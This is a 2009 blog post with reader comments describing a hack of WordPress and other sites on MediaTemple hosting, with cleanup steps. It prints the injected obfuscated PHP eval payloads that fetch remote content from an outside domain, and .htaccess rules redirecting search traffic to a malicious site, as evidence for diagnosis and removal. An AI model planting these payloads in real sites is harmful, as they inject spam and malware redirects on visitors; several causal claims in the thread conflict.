across the network: Kyle Brady: Blog  |  Kyle Brady: Fiction  |  Kyle Brady: Projects  |  Kyle Brady: Profile contact

Expose:

Wordpress, MediaTemple, and an Injection Attack



subscribe to Expose posts:  rss - email



[note: this is a MediaTemple issue, not a Wordpress one, and more details have been made available on a new post. updates will follow there - this page serves as a good primer, but better "why?" answers can be found there]


Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.

Here’s what happened:

  • an IP address from Texas submitted a POST request to Wordpress that somehow uploaded a file, which extracted itself and injected a piece of Javascript eval() code to execute after the </html> tag

  • a list of hundreds of URLs to assorted pages, mostly porn, appeared after the </html> tag on all pages of the site

  • for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page


Here’s how to fix it:

  • remove the eval() code from “index.php” in the root Wordpress directory

  • delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts

  • delete the .nfs* file in the root Wordpress directory

  • if you’re really paranoid, replace all the Wordpress files with clean source

  • open the root .htaccess file and remove this code


I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case.  MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.

If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing.  But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.

Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future.  Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.

--- --- ---

Update (11/8/2009 10:25pm PST): Thanks to Dan's discovery, the .htaccess editing has been included in the removal steps.

Update (11/12/2009 9:50pm PST): Evidence is mounting (in the comments below, the Wordpress bug ticket, and elsewhere) that while this may be a Wordpress exploit, it is appearing on other non-WP CMS installations, and may have a server-configuration component to it.  Details to come.

Update (11/15/2009 1:30pm PST): MediaTemple has been ignoring me for the last few days on this issue, and I've just been hit by the same attack in the last few hours - this time on Wordpress 2.8.6, the security release that was supposed to fix this.

Update (11/15/2009 2:10pm PST): I've decided to escalate this, and wrote about it at the Inquisitr.

Update (11/16/2009 12:30pm PST): I got a length, personal email from MediaTemple yesterday, and a long phone call today about this issue - I can't say alot right now, but MediaTemple is taking ownership of this problem, and is working on it.  Details to come soon.

Update (11/26/2009 1:30pm PST): The issue is still ongoing, and while I had been told it was solved a week ago, that is apparently not the case.  I'm pushing for details, and will update soon.  This situation is entirely unacceptable.

Update (11/16/2009 2:05pm PST): MediaTemple has released a sorry excuse for explaining what happened... but this is insufficient information and not the full story.

Update (11/16/2009 3:45pm PST): New post with more details on the inability to resolve this issue and their unwillingness to discuss it.  Future details will be posted there, rather than here.

--- --- ---

More details:

Uploaded File

named “.nfs*” in the root Wordpress directory
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?><!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Javascript Eval Code

found in “index.php” in the root Wordpress directory
<!--5edfgh345--><?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?>

Example Link

found after the </html> tag on all pages, list of hundreds of similar URLs
<a href="http://e-officeadmin.com/kurkb/blow-dryer-tattoo.html">blow dryer tattoo</a>

.htaccess Code

found in the root ".htaccess file"
RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]

RewriteRule .* http://you-search.in/in.cgi?4&parameter=sf [R,L]


Expose pieces are irregular posts attempting to hold people and organizations accountable for their actions.
Kyle can be found on Twitter and MySpace, or reached via email.


subscribe to Expose posts:  rss - email

submit to reddit Add to Mixx! Share on Facbeook Retweet
Printable Version Printable Version

More Expose Pieces

see more...


Commenting Rules

The following is a basic set of rules that are enforced for all commenters.

Any violations of these rules will result in comment deletion, user bans, or both.

  1. No excessively foul language.
  2. No racist remarks.
  3. No SPAMing, unrelated linking, or otherwise unnecessary promotion of outside material.
  4. No trolling.
  5. Be respectful.
  6. Be valuable.
  7. Feel free to respond, argue, or counter-point an article - but do so coherently and intelligently.
  8. Use a personal nickname, commenting account, or moniker. Do not use your business' or website name/account.
  9. Do not trackback/pingback to this post unless your content is relevant.
also available as a standalone page

  • Sarah
    Thanks for the info. I had this on an old wordpress blog I hadn't updated since Feb - looks like it only got compromised on the 26th December (today being the 28th), I had comments/trackbacks disabled too.

    In my case something seemed amiss when I logged in to "Add Post" and the page didn't format properly. As the dashboard suggested I was running an old version I did the "recommended" upgrade to 2.9. The webpage then informed me my database also needed upgrading - when I clicked on this link I got redirected to thecreativevirus.com. Apart from the suspicious-sounding name, this website tried to get me to install some software to view a "video" - I had to kill the web browser to get it to leave this page & am currently running a virus scan.

    Logging on to the webserver, I discovered at the bottom of the .htaccess file:
    RewriteRule .* http://you-search.in/in.cgi?4¶meter=ku [R,L]

    and at the bottom of an index.html file:

    eval(gzinflate(base64_decode('dVFda8IwFH0X/A+XEpaGldj6AXNSpg9FXybD1b1MKV2b2GBNStpOxth/X+I+3MOEhOTec8/NuSdoXTM92zHZQAh1oxtVqiPTLkoeo9VTtHrGizh+SNYmSmbzaBnjLZl0O4K7prhStYt+G3iAd0rtSoYJKA3f+F/4LS2UuogeankRK8WraUu6nfduBwBpIxbjib0bJYiHU16rbK8qJl0cjEc0GPs0GND+YIS9G99DzCztBT6BVOYw5VXbGOncA2cexdArhdyLpickrYrqLleHVMjQAQqtLpnMVM7OhjhfZ7Kc3UfOlpgi56o1UlMr9RLpHxctEWy6F1B/ozdyoermFg6+ZlRIm7DbsUMDHAtRMhdQaQbnmqX5SXzg94eEWDtoaLCTH1Oelao2T3NyilEV/vyU9pxz2wmwrFBQty8GthiqroeW8vEJ')));

    These files in both public_html and (more worryingly) its parent directory contained this dodgy code. As the blog & indeed the website only had 2 posts I am just doing a completely clean install, having changed all the passwords I can find & deleted the old database.

    I hadn't installed ANY plugins, just one theme.
  • Sarah
    May be worth pointing out I'm not a MT customer, I use a different UK host.
  • Interesting - maybe the (mt) exploit was adapted for another host?

    I'm not sure what to tell you, other than your results are strikingly similar to mine and many others'.

    --Kyle
  • It seems Mediatemple is working on it. (I got my password changed for me, without being targeted for the attack.)

    http://weblog.mediatemple.net/weblog/2009/11/29...
  • Just wanted to point out that the eval() code is not javascript, it's definitely PHP. I've taken the code apart, and posted an analysis of the eval() injection at my blog.

    http://bundyxc.com/?p=95
  • I received the same email from Media Temple on the 25th, but, so far, haven't noticed any of the things mentioned in this post. I did however notice that the title and content of just one of my WordPress posts had been altered. More on that here: http://kylerush.net/cms/media-temple-security-i...
  • Ironclad360
    You know what is awesome about this (he says sarcastically)? (MT) were informed of this on 11/06 and they did not send out their Security Advisory until 11/25. When I went back in and looked at my files, one of my client sites had been hacked on 11/11.

    Their statement:
    "We have been communicating directly with affected customers from the very beginning of the issue. However, this is the first public notice we have made to our status blog. As many customers know, (mt) Media Temple is normally prompt and transparent when dealing with service related incidents. Due to the nature of the exploit and the criminal investigation associated with this issue, (mt) Media Temple wanted to conduct adequate due dilligence before making any public statements." is the worst attempt at spin control ever! Please don't insult my intelligence Media Temple because you know that it was OVER TWO WEEKS BEFORE I WAS NOTIFIED!

    It really blows my mind - over two weeks before they sent out something and almost three before they finally posted something on their blog.
    And now they have said:
    "Roughly 10% of our (gs) customer base was affected by this exploit."
    Roughly? 10%? 10% of what? 10% of 10,000? 10% of 50,000?!?!

    Honestly, in all of my years doing web development the mishandling of this situation is truly epic. Whoever is running this monkey show needs to have his head examined because right now is seems as though it is totally (MT)!!!
  • Dave Z
    Media Temple support just sent me this link which was posted on their site only hours ago:

    http://weblog.mediatemple.net/weblog/category/s...
  • Dave Z
    I also was affected by this. Spent hours cleaning everything up. I am awaiting a response from MT at the moment. However, our passwords were strong and static html-only sites were affected as well.

    After reading everything here and on some other blogs, I'm leaning towards believing this is a MT issue and that they allowed our passwords to be compromised. I've noticed that the AccountCenter no longer has the "Show password" on the Server Admin/SSH page, and database pages. I wonder if that's how the exploit took place.

    At any rate, it's frustrating. Earlier this year we were down because the server crashed and we were down for days while they restored from backups, that and we were on an early version of their grid-server that was plagued with performance issues all the time. <sigh>
  • Nathan Haskins
    Hi thanks for the info guys really helpful!

    I have a gridserver account on media temple, with a bunch of wordpress installations, so to look for this nasty bit of code i SSHed into my account, went into the /domains folder, and ran a 'grep' to find instances of it...

    grep -r --color --include=index.php 'JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2x' ./
  • While this may have some relation to WP, this exploit has hit all of my hand-coded, static sites. Look at the source code for http://www.freshkarma.com and see half a dozen hidden .cc links. Sure, it's affected my WP sites too, but to affect the hand-coded ones? Not WPs fault. This is an MT issue and I'm like the others below - having just received a notice that my passwords weren't good enough and to reset them. Yeah, ok... Now to the hassle of trying to fix all this... Hope you keep posting updates Kyle, as I don't think this issue is going to magically solve itself by simply having everyone create new passwords.
  • So both of my gs accounts had their passwords reset last night. The password I used on each was fairly random and had no relation to words, etc. Used numbers and letters. But mt reset it because of suspicious activity then insinuated the compromise was due to weak passwords. Bull. If they're getting brute forced on this scale they'd know. Something else is going on and their utter lack of communication on the issue is what upsets me the most. At least acknowledge there is a problem beyond brute force password guessing.
  • Matt
    Same with me, I had very strong pwds as well. Especially considering that an MT representative had told me that it’s NOT a bruteforce issue, this issue starts to get weirder … At least they admit that they had stored login credentials in plain text form (which is bad enough). Now I’d like to hear the rest of the story: How did an intruder manage to read these pwds and continue doing this for at least three weeks? Weird and weirder …
  • Ray Schamp
    In my support thread, I asked them to acknowledge the intrusion and explain what has been done to prevent it in the future, and they told me they couldn't reveal any more information for security purposes, as they are still patching the problem. They said once they did that, they would be able to explain more.
  • Matt
    There had been a rather large issue with the MySQL services on MT’s GridService somewhere in 2006, IIRC. MT kept quiet a long time while they fixed the issue, and after that they went full disclosure and did a REALLY good job. So I’m positive that they WILL come out with a detailed explanation.
  • I agree with you - one of the reasons I'm still an mt customer, even through all the headaches and trauma of being on Cluster #2 while they got the grid service 'right' was that they would provide such excellent technical overviews about what went wrong behind an outage (be it the MySQL troubles, the BlueArc storage architecture problems, etc) I'm sure they will do the same once they have this completely resolved. But that said, there is NO reason for the complete silence. At least step up and explain what has happened. Was it really a PHP injection? What was the entry application? I don't need the exact exploit, but saying it was 'WordPress vxxx' or even higher up being PHP itself, which they are passing. Right now as a customer I don't really know how these jokers got in or if my sites are secure. Questions I need to be able to answer.

    So yes, mt is good at providing extensive technical details, but the fact that there isn't an open incident on the status page that is telling users a) there is a problem, b) here are steps they should be taking and c) are they still investigating, patching, testing, or is it fully resolved? And if the note above about potential clear text credentials is true, that would need to be published immediately because like it or not some people DO use the same passwords elsewhere and if they got compromised on a mass scale, brute force dictionaries just got a lot more fuel.

    So in short, I'm NOT happy with communication so far. All my accounts got hit over a week ago and the first communication I got from mt was an email this morning noting they'd detected odd behavior on my accounts and thus reset the SSH password. All it did was link to a knowledge base article on how to remove the stuff and that it was a PHP injection, which I don't believe is the case. They need to do a better job of real time communication without providing too much info as to make the problem worse.
  • Rotophonic
    Whatever they claim to have done to fix this issue has not yet been fixed. Every Grid (GS) site I had hosted on my account had its index.php modified and the htaccess file was either added or modified to included the rogue code on 11/22. I have since fixed the issue on my sites, but it seems clear there is something bigger going on.
  • Interesting.

    Are you sure it didn't happen earlier and you only just noticed?

    --Kyle
  • Rotophonic
    One of my sites is used continuously by one of my clients and I got a call first thing this morning as the injected code is poorly written and crashes when PHP tries to render it. I have real reason to believe that the hack was perpetrated at the time the files mod date indicated (yesterday, 11/22).
  • Same thing here. I had a panicked email from one of my clients *last night* to tell me that their MT site was all messed up and they think it had been hacked. It's a static site, hand coded. The only PHP used is for includes and to parse a static XML file, and there are no forms, no datbases, no holes for injection. The code they put into the htaccess file broke the server's ability to parse the PHP in my html files, so their site just displayed a big jumble of broken code instead of what it's supposed to. They discovered this yesterday. It's so obvious, there's no way it could have been sitting like that for a week or two.
  • Edward
    About the same thing as Kerri. The date modified is 11/23 for my .htaccess files. Only 1 index.php was modified (oddly in one of the sites that doesn't have WP).
  • Soccer Dad
    I'm curious where you found the injections and if you're convinced it was due to this. I had the htaccess and index.php stuff in all my (gs) accounts, but haven't been able to find any compromised posts/data even though I know I posted after the sites got hit.
  • All the evidence, which is quite obvious, has been given.

    Although if you look at the updates, (mt) is now claiming responsibility.

    --Kyle
  • OK, well I'll keep looking, but it seems the extent of the infections varied. I certainly had the index.php JS and .htaccess issues. But the .nfs file and new post stuff didn't happen on any of the affected sites as far as I could find/tell. I was just wondering if anyone had found where the infection had taken place in any post infection (ie which table/fields were compromised) Thanks for all your info on this!
  • nine
    Every index.php and .htaccess file in my MediaTemple (gs) account (over 60 sites) was infected. I contacted MT support about it, and they replied: "We have taken preventative measures from this happening again, as a courtesy I also had one of our administrators run a script which should have cured all of the .htaccess and index.php problems."

    Sure enough, all of the sites in my account have been fixed. Saved me quite a bit of work. I also asked them what I could do to prevent this from happening again, and they suggested I change my passwords every couple months. Not sure that would've prevented this recent attack, but probably a good thing to do, anyway. I'm also taking the opportunity to upgrade all my Wordpress installations to 2.8.6 for good measure.
  • Happened to me too, on Cluster 2. Jut a few verrry low-traffic Drupal sites. I had begun the process of ditching the grid months ago.
  • Matt
    Hi, my (gs) account got hacked as well, and I can confirm that the hack is not confined to wp sites. I had a couple of wp sites and hand-built sites without any kind of cms/blogging backend on my (gs) account, and both types have been hacked by manipulating .htaccess and index.php. MediaTemple says that the ftp accounts got compromised, which I find a threadbare argument, as at least my ftp pw was 16+ chars long and QUITE hard to being brute-forced open. I hope that whatever back door the crackers used is closed by now.
  • brian
    I had the same issue with a Joomla site on Mediatemple. I used a hex decoder and found out it was a redirect to http://tourreviews.asia/links2/link.php

    Anyone with this problem, try putting all of your code into this sites " http://home2.paulschou.net/tools/xlate/ " base64 window then translate to get the offending code in readable code.

    Make sure you update to the latest versions of Joomla or wordpress, and use PHP5 not 4.
    You'll have to go to the server admin control pannel to set your use PHP version 4 or 5.
    Regards..
  • Hi - I run CenterNetworks and have been exploited and hacked so many times I can't even count anymore. Earlier this month I had Mosso lock down my theme so that they couldn't edit it anymore - basically they removed all permissions. Since then no footer hacks. However this morning I noticed that one post was edited and bad links added. This seems like it could be the same issue you faced Kyle - although I still am unsure how someone could edit a post without logging into the admin panel or using phpmyadmin. What I notice is that there is a post revision one minute after the post was complete that includes the bad links. I have since removed the links and saved but I will do what you suggest and delete and re-add. I am so fed up with all o f this hacking stuff - it's caused me to lose weeks of time since April - Wordpress blames Mosso, Mosso blames Wordpress - I did upgrade the other day to the .6 - who knows if that will help.
  • Hey Allen!

    From what I've been told by (mt) lately, this is 100% a server software/config issue. If you're not on (mt), then the patches that will result will likely help solve this problem, but almost all of the people in this situation are on (mt)...

    I'm convinced, and now (mt) is too, that it's not the CMS that's the problem.

    --Kyle
  • Chris
    This is starting to sound like a PHP vulnerability. MediaTemple runs very old builds of PHP - you either choose 4.4.8 or 5.2.6.

    PHP's 5.2 branch is currently at 5.2.11, with numerous security fixes along the way. The most nasty of which might be in 5.2.7 http://www.php.net/releases/5_2_7.php. Those are buffer overflows and remote code execution through PCRE and other avenues.

    Same thing for the 4.4 branch - http://www.php.net/releases/4_4_9.php.

    Ugh, sucks to be PHP, sucks to be MediaTemple who can't keep up with PHP patches for likely business reasons.
  • Chris,

    I'm not sure I'd pin this on PHP just yet... I run PHP5 by default on all my domains for (mt), and that's not too out-of-date.

    I'm betting it's something even lower than PHP, probably has to do with whatever they're using for a server (Apache?) and how it mixes with their custom virtualization code.

    But I'm just guessing.

    --Kyle
  • Chris
    Kyle, MediaTemple's PHP5 install is build 5.2.6 from May 2008. That's over 18 months old, and as I noted above, there have been numerous critical vulnerabilities publicly disclosed that lead to remote code execution on the server.

    We're all speculating here, but given that everyone is reporting this issue with Drupal, Joomla, Wordpress, and even static pages, I'm pointing to PHP. True it could be Apache too.

    MediaTemple runs Apace 2.0.54. Currently the 2.0 branch is at 2.0.63. You can check all Apache related SECURITY vulnerabilities in their CHANGELOG http://mirrors.devlib.org/apache/httpd/CHANGES_2.0. And yes, there have been several significant ones reported since the build MT is running.
  • Hm. I hadn't looked up what version of PHP5 they were running yet, but that is pretty old.

    However, from what I was told on the phone and the overall vibe, if it was as simple as a fix as upgrading their PHP installs, it would have already been done and they wouldn't be working 24 hours a day on this.

    It's something bigger. PHP may be involved as an entry point or in some other manner, but it's definitely not the endpoint.

    --Kyle
  • gavinhall
    Ive just had a similar attack this morning on my MT account affecting two Magento sites. MT being helpful so far, but clearly not just Wordpress thats affected.
  • Laz
    Same problem here with the exploit. Although I do run WordPress on the site (v2.6), the base64 code was written to custom php include files (ie. footer.php - outside of the WordPress directory) that have nothing to do with WordPress. I don't believe a specific script would be able to work in such a manner. Plus, the code was written to other domains within the same account whose code was completely different.

    On the other hand, I have another personal web site on Media Temple (with a different account) that was unaffected. Could the hacker have accessed a specific grid server?? The one that was exploited was on Grid Cluster:02 – Storage Segment:05
  • Hm... I didn't think about the Cluster bit. I used to be on 02, now I'm on 05, but maybe you're on to something?

    --Kyle
  • Bob
    All of my Joomla sites were hacked at the same time and same way as everyone else (on Nov 6). So, it's has nothing to do with your CMS.

    Also, Media Temple has suddenly encrypted the FTP passwords for both of my GS accounts.
  • Ray Schamp
    FWIW, I'm Cluster 1, Storage 6. I believe MT when they say this wasn't a WP exploit as much as a MT exploit. How did they know how to access all the rest of the domains on my account without knowing how MT's hosting is set up? Why is the common thread MT customers rather than WP in general?
  • mydarndest
    I was compromised, also...
    (mt) account, Cluster 1
    It appears to have added the code to my index.php and .htaccess in the main "html" directory on all my sites on this grid server. I have 22 wordpress sites on my account.
    This is pretty much a pain in the rear.
    I have replaced the index.php and .htaccess
    Thanks for this post.
  • Laz
    The one MT web site that was not affected by the hack was on Cluster 1.
  • ade3
    Thanks for the help tracking down that code. I have about 10 Wordpress sites hosted with MediaTemple that were affected. I noticed the problem when I looked at the robots.txt file. The weird thing was that I don't have a robots.txt file on my server! Somehow this exploit was generating a robots.txt file filled with spam. I don't get it. Anyway, thanks for the post.
  • Brian
    I was hit with something similar on my mediatemple grid account.
    The only difference is I don't run wordpress.
    All my sites are super simple (embarrassingly so).
  • Interesting...

    --Kyle
  • Ray Schamp
    Media Temple just replied to me with this:

    The actual attack occurred because your FTP password was hacked. On November 9th we noticed an increase in the number of FTP connection attempts to several of our (gs) Grid-Service accounts; some of the attempts were successful and some were not. Once gaining FTP access, the attacker then made the changes to your WordPress files. To prevent this happening again, you need to change your FTP password. This particular hack was not caused by a WordPress vulnerability. However, it is always a good idea to keep Wordpress as up-to-date as possible, because new hacks are being tested constantly, and the older your software is, the more vulnerable you are.
  • I don't buy that. FTP, SSH, etc. should all be prevented from being recipients of dictionary-attacks.

    I think there's a larger issue at hand, and I'm having (mt) look into it.

    --Kyle
  • Ray Schamp
    I think you're right, keep us posted. I'm following up on mine too.
  • Chris
    Thanks for writing this up. I can't find anything in the databases I have. I do see the .htaccess and index.php modifications, but nothing else. Can you provide more details about the databases and what to look for there?
  • No problem.

    I'm not entirely sure where - my solution was to copy the infected posts (through the Wordpress GUI) into a separate editor, delete the posts, and then repost them with the same back-dated URLs.

    --Kyle
  • Chris
    What are you calling 'infected posts'? Meaning they had obvious malicious links in them?
  • Chris
    Also, did MT or you discover the issue in Wordpress? Was it because you were running an older build or is this vulnerability current in 2.8.5? If so, can it be mitigated by removing the upload.php or another file?

    thanks!
  • As I said in the post, "infected posts" are ones that had the link redirection effect, where older posts (made before the attack) didn't. I also said that this was with 2.8.5.

    --Kyle
  • If this is the same thing that has been buzzing around on the wp-hackers list lately then it actually appears to be a server configuration vulnerability that is using a user account inside of WP to get a file uploaded to the server. WordPress has released something to try to prevent allowing certain files from being uploaded even by a user with privileges.

    Although I may be getting things confused, here's the thread:

    http://groups.google.com/group/wp-hackers/brows...
  • That looks like it only works for verified users... the whole point here is that they did it without being a user.

    --Kyle
  • Chris
    That's pretty nasty but wouldn't be the reason for this one. I don't have any low-privileged users - and this exploit requires one of them to log in then upload a nasty file. Hmmm, there must be something else going on, unless it's a Media Temple specific issue. I had the same exact infection symptoms you had, minus the database stuff, because I don't know what you mean by 'infected posts'.
    thanks!
  • elizabeth
    A friend (who knows that I use Media Temple and WordPress) just forwarded me this post. So far, my sites seem uninfected, but I am worried nonetheless.... Is there any way I can prevent this from happening?
  • Ben
    I found the same thing earlier today on my MT account. Whatever it was seemed to work its way through all domains hosted and append the eval code at the end of the index.php file in the html folder. With the exception of the .htaccess, I can't seem to find anything else that was modified.

    How can I avoid this moving forward?
  • As has already been mentioned above, I'm not sure about moving forward, and there's an explanation for how it moved through all the hosted domains.

    --Kyle
  • sirkitree
    Thank you! This saved me a bunch of time and I'm sure headache. Also of note, I have a bunch of Drupal sites on the same server and they were all infected, although not working. Simply using the same methods here fixed them up just fine.
  • Jake
    I also had an infected drupal installation, but the weird thing is that I didn't have any wordpress installations on that server account. Are we certain it's due to a wordpress hole and not a mediatemple security flaw? My server was down for a while yesterday.

    Also, to clean the drupal installations, did you only fix the index.php and .htacess files or did you also have to clean entries out of the database (or any other files)?
  • Wordpress, and MediaTemple, seem to agree with me that this is a Wordpress issue. There could be a similar hack for Drupal - it wouldn't be impossible.

    Also, once the file gets onto your server somehow, it could potentially edit/trash/thrash any file on that server, regardless of code source.

    --Kyle
  • Ray Schamp
    I just finished reverting all the code on all 80 of my websites hosted on MT. It may be caused by a Wordpress hole, but then the script injected this code into every PHP file it could find in each of my "domains/<website>/html" directories. It didn't seem to go deeper than that, for some reason. Also, in the directories that contained an index.php file, if the .htaccess file was not there, the script created it.

    The goal of the script seemed to be putting a hidden, 0px x 0px absolutely positioned collection of links to porn on your site, so you wouldn't notice. Then, it redirects search traffic (since your website will now get indexed for searches of porn) to that "you-search.in" site (Mine had a different URL).

    Thanks for posting this — it got me on the right track to fixing my account. Thank God for svn! I could see exactly what they did to my stuff.
  • Wow, that's brutal.

    I should start using SVN for my Wordpress sites... that *would* make life alot easier.

    Congrats on the genius move!

    --Kyle
  • Glad to hear it.

    --Kyle
  • sirkitree
    Man, thanks a lot - saved me a lot of time and headaches - but how to prevent this from happening once it's fixed?
  • Charlene
    Thanks Katy, I too have the <!--5edfgh345--> problem. Will try contacting MT about it.
  • "Kyle".

    My name is even in the URL.

    --Kyle
  • Charlene
    Sorry Kyle. Busy day.

    By the way the problem was solved removing the code. The code is being inserted into sites that don't run PHP at all. Not sure why, checking with MT who are being their usual unhelpful selves with me.
  • The .htaccess code gets inserted to all subdomains of the originator, as far as I can tell... for example, it started in "kyle-brady.com" and spread to "status.kyle-brady.com" (Wordpress) and then "projects.kyle-brady.com" (not Wordpress).

    Other than that, not much can spread if they don't run Wordpress or use PHP.

    --Kyle
  • Not sure you need the "if you're really paranoid" qualifier about replacing the WP core files. I would say anytime your site is compromised to this extent, replacing all the WP code and preferably reverting to a known good state of any plugins and themes should be standard operating procedure.
  • danwarne
    ahhh... found more info on this. This is what I found at the bottom of my .htaccess file (in fact I've found this malware in ALL my blogs now... argh!)

    http://www.webmasterworld.com/webmaster/3880821...
  • Me too - I've already removed most of those code blocks.

    I also updated this post to give you credit for it ;-)

    --Kyle
  • danwarne
    Thanks Kyle, greatly appreciate it! :-)

    One note: I am also a MediaTemple customer, which makes me wonder whether the exploit is using a hole in MediaTemple's setup.

    I changed my FTP/SFTP password to a long/complex password as a precaution, based on the off-chance that the exploit was done simply by logging in via FTP. However you said Mediatemple said it was via a POST...? Did they give you any more information about that?

    Also, these are the plugins I am using -- let me know what crossovers you have, which might help us narrow down if a plugin is presenting the vulnerability:

    Add Lightbox 0.4.1
    Ad Wrap 0.4
    Akismet 2.2.6
    All in One SEO Pack 1.6.7
    Chunk Urls for WordPress 2.0
    Custom Field Images 2.2.2
    Disable Trackbacks 1.0.0
    Edit Comments 0.3 beta
    FeedBurner FeedSmith 2.3.1
    Global Translator 1.2.6
    Google Adsense for Feeds 1.1
    Google News Sitemap 1.3.1
    Google XML Sitemaps 3.1.8
    IntenseDebate 2.4.2
    Lightbox 2 2.0.2
    More To The Top 1.1.0
    One Click Plugin Updater 2.4.14
    Optimize DB 1.3
    PHP Speedy WP 0.5.2
    Post-Plugin Library 2.6.2.1
    Recent Posts 1.07
    Reveal IDs for WP Admin 1.1.2
    SEO Friendly Images 2.4.4
    SEO Slugs 1.0
    Similar Posts 2.6.2.0
    Unfancy Quote 3.0
    WordPress.com Stats 1.5.4
    WordTwit 2.1.6.1
    WP-phpMyAdmin 2.10.3
    WP-RelativeDate 1.50
    Wp-UnitPNGfix 0.2.1
    WP S3 Backups 0.1.0
    WP Super Cache 0.9.7
  • No, it's definitely a Wordpress flaw, and at the very core of the Wordpress code... they put the POST request to a standard /wp-admin/upload.php.

    So it has nothing to do with (mt) or plugins, and everything to do with Wordpress itself - that's why I contacted their security team and filed a bug report.

    --Kyle
  • What's needed to examine this deeper is the actual POST from the Apache log.
    The 1st check in the upload.php is to see if the current_user can upload a file, if not WordPress will die.

    I'm not sure how your blog is setup, multiple users can upload, only you can upload, but check if that IP has logged into your blog before the POST.
  • The logs only go back so far, and what we want has been lost at this point, but there's only two users - myself and admin, neither of which have been compromised.

    The whole point here is that this can happen without the proper auth - don't you think I'd be approaching this differently if it was an "OMG SOMEONE HAS MY PASSWORD!" issue?

    Yes.

    --Kyle
  • Have you confirmed you're the only two users in MySQL? There was an exploit earlier where a user was inserted then hidden in the WP admin via javascript. I'm not saying you're wrong, just mentioning it in case you want to check on it.
  • I hadn't until just now, because I didn't think of that, but... yes, the only users are legitimate ones.

    Both as Wordpress users and MySQL users.

    --Kyle
  • It doesnt matter what file it was post'd to, it could still be a dodgy plugin handling the request before WP has run its authentication steps..

    There has been someone else with the same issue a week or so ago, i'm not sure what came out of that..

    Its merely speculation unless you've go access to some deailed log files though (And i dont)..
  • Fair enough, but I don't run very many plugins, and they're all pretty standard at that - nothing that would handle file uploads before WP does auth.

    And half of them are ones I wrote anyway.

    --Kyle
  • danwarne
    Hey Kyle, I found the following in my .htaccess file for that blog which (if I'm correct) rewrites all the links to a malware-carrying site in India.

    RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

    I'm still reading up on Apache rewrite rule syntax, so I'm not sure my interpretation is correct, but I wonder if this malware did this...? It's alarming to think malware could be rewriting .htaccess rules if so.
  • There we go! That's exactly the site my links went to - I didn't want to post it, for fear or spreading malware.

    You can just remove that line and that should fix alot of problems. It turns out that was in my .htaccess file too, although I don't know why it wasn't working...?

    Good catch.

    --Kyle
  • danwarne
    I can't find any content that has been infected with the code -- even stuff that was published as recently as yesterday. Was it easy to find ... e.g. clearly visible in the rendered HTML source of article pages?
  • Hi Dan,

    Sorry to hear that.

    It was clearly visible in the index.php file in the Wordpress root, and the index.php file actually mirrored exactly the .nfs* file I showed above.

    Maybe the file renames itself depending on the location? I'd suggest combing your Wordpress directory for files that look out of place - possibly any file that is .*, and isn't a .htaccess file. If it moves around, I'd be willing to bet it does so inside the Wordpress core files, and not plugins since those would be variable based on installs.

    Once you find that file and also remove the code from your index.php file, then you have to delete infected posts and repost them - I'm not sure how it does it, but it somehow hooks into the database's entries for these posts, so you have to handle that.

    Good luck, let me know if you figure it out.

    --Kyle
  • danwarne
    Thanks for the quick reply Kyle. I did find the eval code in the index.php file and removed that without any problem, however after removing that, I couldn't find it in any of the individual posts on the site. I'll keep looking though. Also can't see any files starting with '.' at this stage, other than .htaccess, but will keep looking...
